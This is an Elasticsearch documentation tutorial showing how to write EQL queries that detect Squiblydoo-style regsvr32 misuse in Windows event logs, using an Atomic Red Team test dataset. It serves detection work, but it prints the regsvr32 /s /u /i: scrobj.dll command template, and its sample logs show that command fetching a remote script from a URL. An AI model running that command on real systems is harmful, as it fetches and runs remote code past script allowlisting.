detect-threats-with-eql.asciidoc 13 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435
  1. [role="xpack"]
  2. [testenv="basic"]
  3. [[eql-ex-threat-detection]]
  4. == Example: Detect threats with EQL
  5. experimental::[]
  6. This example tutorial shows you how you can use EQL to detect security threats
  7. and other suspicious behavior. In the scenario, you're tasked with detecting
  8. https://attack.mitre.org/techniques/T1218/010/[regsvr32 misuse] in Windows
  9. event logs.
  10. `regsvr32.exe` is a built-in command-line utility used to register `.dll`
  11. libraries in Windows. As a native tool, `regsvr32.exe` has a trusted status in
  12. Windows, letting it bypass most allowlist software and script blockers.
  13. Attackers with access to a user's command line can use `regsvr32.exe` to run
  14. malicious scripts using `.dll` libraries, even on machines that otherwise
  15. disallow such scripts.
  16. One common variant of regsvr32 misuse is a
  17. https://attack.mitre.org/techniques/T1218/010/[Squiblydoo attack]. In a
  18. Squiblydoo attack, a `regsvr32.exe` command uses the `scrobj.dll` library to
  19. register and run a remote script. These commands often look like this:
  20. [source,sh]
  21. ----
  22. "regsvr32.exe /s /u /i:<script-url> scrobj.dll"
  23. ----
  24. [discrete]
  25. [[eql-ex-threat-detection-setup]]
  26. === Setup
  27. This tutorial uses a test dataset for regsvr32 misuse from
  28. https://github.com/redcanaryco/atomic-red-team[Atomic Red Team]. The dataset has
  29. been normalized and mapped to use fields from the {ecs-ref}[Elastic Common
  30. Schema (ECS)], including the `@timestamp` and `event.category` fields. The
  31. dataset includes events that imitate behaviors of a Squiblydoo attack, as
  32. documented in the https://attack.mitre.org[MITRE ATT&CK®] knowledge base.
  33. To get started, download and index the dataset:
  34. . Download the https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`] dataset.
  35. . Index the data into `my-index-000001` with the following <<docs-bulk,bulk
  36. API>> request:
  37. +
  38. [source,sh]
  39. ----
  40. curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
  41. ----
  42. // NOTCONSOLE
  43. . Use the <<cat-indices,cat indices API>> to verify the data was successfully
  44. indexed.
  45. +
  46. [source,console]
  47. ----
  48. GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count
  49. ----
  50. // TEST[setup:atomic_red_regsvr32]
  51. +
  52. The API response should show a `docs.count` value of `150`, indicating 150
  53. documents were indexed.
  54. +
  55. [source,txt]
  56. ----
  57. health status index docs.count
  58. yellow open my-index-000001 150
  59. ----
  60. // TESTRESPONSE[non_json]
  61. [discrete]
  62. [[eql-ex-get-a-count-of-regsvr32-events]]
  63. === Get a count of regsvr32 events
  64. Since you're looking for regsvr32 misuse, start by getting a count of any
  65. events associated with a `regsvr32.exe` process.
  66. The following <<eql-search-api,EQL search API>> request uses an EQL query to
  67. retrieve a count of events with a `process.name` of `regsvr32.exe`. The query
  68. starts with the <<eql-syntax-match-any-event-category,`any where` keywords>>,
  69. meaning the query can match events of any <<eql-required-fields,event
  70. category>>.
  71. [source,console]
  72. ----
  73. GET /my-index-000001/_eql/search?filter_path=-hits.events <1>
  74. {
  75. "query": """
  76. any where process.name == "regsvr32.exe" <2>
  77. """,
  78. "size": 200 <3>
  79. }
  80. ----
  81. // TEST[setup:atomic_red_regsvr32]
  82. <1> Uses the `?filter_path=-hits.events` query parameter to exclude the
  83. `hits.events` property from the response. The `hits.events` property contains
  84. the document source for any matching events. This request is intended to
  85. retrieve a count of events only.
  86. <2> Uses an EQL query to match events with a `process.name` of `regsvr32.exe`.
  87. <3> Returns up to 200 events or sequences matching the EQL query.
  88. The request returns the following response, indicating that 143 events match the
  89. query.
  90. [source,console-result]
  91. ----
  92. {
  93. "is_partial": false,
  94. "is_running": false,
  95. "took": 60,
  96. "timed_out": false,
  97. "hits": {
  98. "total": {
  99. "value": 143,
  100. "relation": "eq"
  101. }
  102. }
  103. }
  104. ----
  105. // TESTRESPONSE[s/"took": 60/"took": $body.took/]
  106. [discrete]
  107. [[eql-ex-check-for-command-line-artifacts]]
  108. === Check for command line artifacts
  109. Based on your previous query, you know regsvr32 processes were associated with
  110. 143 events. But how was `regsvr32.exe` first called? And who called it?
  111. `regsvr32.exe` is a command-line utility so it may help to narrow your results
  112. to processes where the command line was used.
  113. Update the previous EQL query as follows:
  114. * Change the `any` keyword to `process`. This limits matches to events with an
  115. `event.category` of `process`.
  116. * Add the `and process.command_line.keyword != null` condition to match only
  117. events with a command line value.
  118. You'll also need to remove the `filter_path=-hits.events` query parameter. This
  119. lets you retrieve the document source for any matching events.
  120. [source,console]
  121. ----
  122. GET /my-index-000001/_eql/search
  123. {
  124. "query": """
  125. process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  126. """
  127. }
  128. ----
  129. // TEST[setup:atomic_red_regsvr32]
  130. The query matches one process event. The event has an `event.type` of
  131. `creation`, indicating the start of a `regsvr32.exe` process.
  132. Based on the `process.command_line` value in the response, `regsvr32.exe` used
  133. `scrobj.dll` to register a script, `RegSvr32.sct`. This fits the behavior of a
  134. Squiblydoo attack.
  135. The response also includes other valuable information about how the
  136. `regsvr32.exe` process started, such as the `@timestamp`, the associated
  137. `user.id`, and the `process.parent.name`.
  138. [source,console-result]
  139. ----
  140. {
  141. "is_partial": false,
  142. "is_running": false,
  143. "took": 21,
  144. "timed_out": false,
  145. "hits": {
  146. "total": {
  147. "value": 1,
  148. "relation": "eq"
  149. },
  150. "events": [
  151. {
  152. "_index": "my-index-000001",
  153. "_id": "gl5MJXMBMk1dGnErnBW8",
  154. "_source": {
  155. "process": {
  156. "parent": {
  157. "name": "cmd.exe",
  158. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  159. "executable": "C:\\Windows\\System32\\cmd.exe"
  160. },
  161. "name": "regsvr32.exe",
  162. "pid": 2012,
  163. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  164. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  165. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  166. "ppid": 2652
  167. },
  168. "logon_id": 217055,
  169. "@timestamp": 131883573237130000,
  170. "event": {
  171. "category": "process",
  172. "type": "creation"
  173. },
  174. "user": {
  175. "full_name": "bob",
  176. "domain": "ART-DESKTOP",
  177. "id": "ART-DESKTOP\\bob"
  178. }
  179. }
  180. }
  181. ]
  182. }
  183. }
  184. ----
  185. // TESTRESPONSE[s/"took": 21/"took": $body.took/]
  186. // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
  187. [discrete]
  188. [[eql-ex-check-for-malicious-script-loads]]
  189. === Check for malicious script loads
  190. You now know that a `regsvr32.exe` process was used to register a potentially
  191. malicious script, `RegSvr32.sct`. Next, see if `regsvr32.exe` later loads the
  192. `scrob.dll` library.
  193. Modify the previous EQL query as follows:
  194. * Change the `process` keyword to `library`.
  195. * Replace the `process.command_line.keyword != null` condition with
  196. `dll.name == "scrobj.dll`.
  197. [source,console]
  198. ----
  199. GET /my-index-000001/_eql/search
  200. {
  201. "query": """
  202. library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  203. """
  204. }
  205. ----
  206. // TEST[setup:atomic_red_regsvr32]
  207. The query matches an event, confirming `scrobj.dll` was later loaded by
  208. `regsvr32.exe`.
  209. [source,console-result]
  210. ----
  211. {
  212. "is_partial": false,
  213. "is_running": false,
  214. "took": 5,
  215. "timed_out": false,
  216. "hits": {
  217. "total": {
  218. "value": 1,
  219. "relation": "eq"
  220. },
  221. "events": [
  222. {
  223. "_index": "my-index-000001",
  224. "_id": "ol5MJXMBMk1dGnErnBW8",
  225. "_source": {
  226. "process": {
  227. "name": "regsvr32.exe",
  228. "pid": 2012,
  229. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  230. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  231. },
  232. "@timestamp": 131883573237450016,
  233. "dll": {
  234. "path": "C:\\Windows\\System32\\scrobj.dll",
  235. "name": "scrobj.dll"
  236. },
  237. "event": {
  238. "category": "library"
  239. }
  240. }
  241. }
  242. ]
  243. }
  244. }
  245. ----
  246. // TESTRESPONSE[s/"took": 5/"took": $body.took/]
  247. // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
  248. [discrete]
  249. [[eql-ex-detemine-likelihood-of-sucess]]
  250. === Determine the likelihood of success
  251. In many cases, malicious scripts are used to connect to remote servers or
  252. download other files. If this occurred, the attack might have succeeded.
  253. Use an <<eql-sequences,EQL sequence query>> to check for the following series of
  254. events, in order:
  255. . A `regsvr32.exe` process, which could have been used to register malicious
  256. scripts as `scrobj.dll`
  257. . A load of the `scrobj.dll` library by the same process
  258. . Any network event by the same process, which could indicate the download of a
  259. remote file
  260. To match, each event in the sequence must share the same process ID, recorded in
  261. the `process.pid` field.
  262. Based on the command line value seen in the previous result, you can expect to
  263. find a match. However, the sequence query isn't designed for that specific
  264. command. Instead, it looks for a pattern of suspicious behavior while still
  265. being generic enough to detect similar threats in the future.
  266. [source,console]
  267. ----
  268. GET /my-index-000001/_eql/search
  269. {
  270. "query": """
  271. sequence by process.pid
  272. [process where process.name == "regsvr32.exe"]
  273. [library where dll.name == "scrobj.dll"]
  274. [network where true]
  275. """
  276. }
  277. ----
  278. // TEST[setup:atomic_red_regsvr32]
  279. The query matches a sequence, indicating the attack likely succeeded.
  280. [source,console-result]
  281. ----
  282. {
  283. "is_partial": false,
  284. "is_running": false,
  285. "took": 25,
  286. "timed_out": false,
  287. "hits": {
  288. "total": {
  289. "value": 1,
  290. "relation": "eq"
  291. },
  292. "sequences": [
  293. {
  294. "join_keys": [
  295. 2012
  296. ],
  297. "events": [
  298. {
  299. "_index": "my-index-000001",
  300. "_id": "gl5MJXMBMk1dGnErnBW8",
  301. "_source": {
  302. "process": {
  303. "parent": {
  304. "name": "cmd.exe",
  305. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  306. "executable": "C:\\Windows\\System32\\cmd.exe"
  307. },
  308. "name": "regsvr32.exe",
  309. "pid": 2012,
  310. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  311. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  312. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  313. "ppid": 2652
  314. },
  315. "logon_id": 217055,
  316. "@timestamp": 131883573237130000,
  317. "event": {
  318. "category": "process",
  319. "type": "creation"
  320. },
  321. "user": {
  322. "full_name": "bob",
  323. "domain": "ART-DESKTOP",
  324. "id": "ART-DESKTOP\\bob"
  325. }
  326. }
  327. },
  328. {
  329. "_index": "my-index-000001",
  330. "_id": "ol5MJXMBMk1dGnErnBW8",
  331. "_source": {
  332. "process": {
  333. "name": "regsvr32.exe",
  334. "pid": 2012,
  335. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  336. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  337. },
  338. "@timestamp": 131883573237450016,
  339. "dll": {
  340. "path": "C:\\Windows\\System32\\scrobj.dll",
  341. "name": "scrobj.dll"
  342. },
  343. "event": {
  344. "category": "library"
  345. }
  346. }
  347. },
  348. {
  349. "_index": "my-index-000001",
  350. "_id": "EF5MJXMBMk1dGnErnBa9",
  351. "_source": {
  352. "process": {
  353. "name": "regsvr32.exe",
  354. "pid": 2012,
  355. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  356. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  357. },
  358. "@timestamp": 131883573238680000,
  359. "destination": {
  360. "address": "151.101.48.133",
  361. "port": "443"
  362. },
  363. "source": {
  364. "address": "192.168.162.134",
  365. "port": "50505"
  366. },
  367. "event": {
  368. "category": "network"
  369. },
  370. "user": {
  371. "full_name": "bob",
  372. "domain": "ART-DESKTOP",
  373. "id": "ART-DESKTOP\\bob"
  374. },
  375. "network": {
  376. "protocol": "tcp",
  377. "direction": "outbound"
  378. }
  379. }
  380. }
  381. ]
  382. }
  383. ]
  384. }
  385. }
  386. ----
  387. // TESTRESPONSE[s/"took": 25/"took": $body.took/]
  388. // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
  389. // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
  390. // TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]